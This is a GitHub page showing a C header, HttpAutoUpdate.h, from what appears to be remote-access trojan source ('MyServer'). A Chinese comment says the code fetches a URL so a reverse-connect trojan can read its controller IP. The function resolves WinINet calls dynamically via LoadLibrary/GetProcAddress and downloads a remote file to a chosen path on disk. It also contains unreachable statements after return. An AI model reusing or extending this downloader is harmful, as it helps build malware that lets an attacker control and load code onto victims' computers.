forked from qiutianshu/MyServer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHttpAutoUpdate.h
148 lines (119 loc) · 4.07 KB
/
HttpAutoUpdate.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
//读指定URL的内容,最多999个字节。反弹木马URL配置IP信息时用到,比如读取
//http://www.xxx.com/ip.jpg
//#include "windows.h"
#include "stdlib.h"
//#include "stdio.h"
#define HTTP_QUERY_CONTENT_LENGTH 5
#define INTERNET_SERVICE_HTTP 3
#define INTERNET_INVALID_PORT_NUMBER 0
#define INTERNET_FLAG_NO_CACHE_WRITE 0x04000000
#define INTERNET_FLAG_DONT_CACHE INTERNET_FLAG_NO_CACHE_WRITE
//InternetReadFile(hFileUrl, data,sizeof(data), &dwFlags);
//dwFlags获得每次读取的数据长度,如果不等于0,就循环调用InternetReadFile
BOOL HttpGetFile(char url_main[],char url_last[],char savepath[MAX_PATH])
{
HMODULE hDll;
LPVOID hSession,hConnect,hHttpFile;
hDll = LoadLibrary("wininet.dll");
if(hDll)
{
typedef LPVOID (WINAPI *pInternetOpen )(LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );
typedef BOOL (WINAPI *pInternetCloseHandle )( LPVOID );
typedef BOOL (WINAPI *pInternetReadFile )(LPVOID ,LPVOID ,DWORD ,LPDWORD) ;
typedef BOOL (WINAPI *pHttpQueryInfo)(LPVOID,DWORD,LPVOID,LPDWORD,LPDWORD);
typedef LPVOID (WINAPI *pHttpOpenRequest)(LPVOID,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,DWORD,DWORD);
typedef BOOL (WINAPI *pHttpSendRequest)(LPVOID,LPCTSTR,DWORD,LPVOID,DWORD);
typedef LPVOID (WINAPI *pInternetConnect)(LPVOID,LPCTSTR,char,LPCTSTR,LPCTSTR,DWORD,DWORD,DWORD);
pInternetOpen InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );
pInternetCloseHandle InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");
pInternetReadFile InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");
pInternetConnect InternetConnect = (pInternetConnect) GetProcAddress(hDll,"InternetConnectA");
pHttpQueryInfo HttpQueryInfo = (pHttpQueryInfo) GetProcAddress(hDll,"HttpQueryInfoA");
pHttpOpenRequest HttpOpenRequest = (pHttpOpenRequest) GetProcAddress(hDll,"HttpOpenRequestA");
pHttpSendRequest HttpSendRequest = (pHttpSendRequest) GetProcAddress(hDll,"HttpSendRequestA");
hSession = InternetOpen("lyyer",0, NULL, NULL, 0); //LPCSTR lpszAgent 得到实例
if (hSession != NULL)
{
hConnect = InternetConnect(hSession,
url_main, //char url_main[];
0,
"",
"",
INTERNET_SERVICE_HTTP,
0,
0);
if (hConnect!=NULL)
{
hHttpFile = HttpOpenRequest(hConnect,
"GET",
url_last, //char url_
"HTTP/1.0",
NULL,
0,
INTERNET_FLAG_DONT_CACHE,
0) ;
// Send the request.
BOOL bSendRequest = HttpSendRequest(hHttpFile, NULL, 0, 0, 0);
if (bSendRequest)
{
// Get the length of the file.
char bufQuery[32] ;
DWORD dwLengthBufQuery = sizeof(bufQuery);
BOOL bQuery = HttpQueryInfo(hHttpFile,
HTTP_QUERY_CONTENT_LENGTH,
bufQuery,
&dwLengthBufQuery,
0) ;
// Convert length from ASCII string to a DWORD.
DWORD dwFileSize = (DWORD)atol(bufQuery) ;
// Allocate a buffer for the file.
char *buffer = new char[1024+1];
memset(buffer,0,1025);
DWORD dwBytesRead=0;
BOOL bRead= false;
DWORD write_size = 0;
HANDLE hFile = CreateFile(savepath,
GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
// Read the file into the buffer. //多线程写文件
//
if (hFile)
{
do
{
bRead = InternetReadFile(hHttpFile,
buffer,
1024+1,
&dwBytesRead);
WriteFile(hFile,buffer,dwBytesRead,&write_size,NULL);
Sleep(1); //5
} while(dwBytesRead);
}
else
{
return false;
OutputDebugString("打开文件出错");
}
delete buffer;
CloseHandle(hFile);
return true;
}
}
// Close all of the Internet handles.
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hConnect) ;
InternetCloseHandle(hSession) ;
}
return false;
FreeLibrary(hDll);
}
else
{
OutputDebugString("LoadLibrary wininet error");
return false;
}
}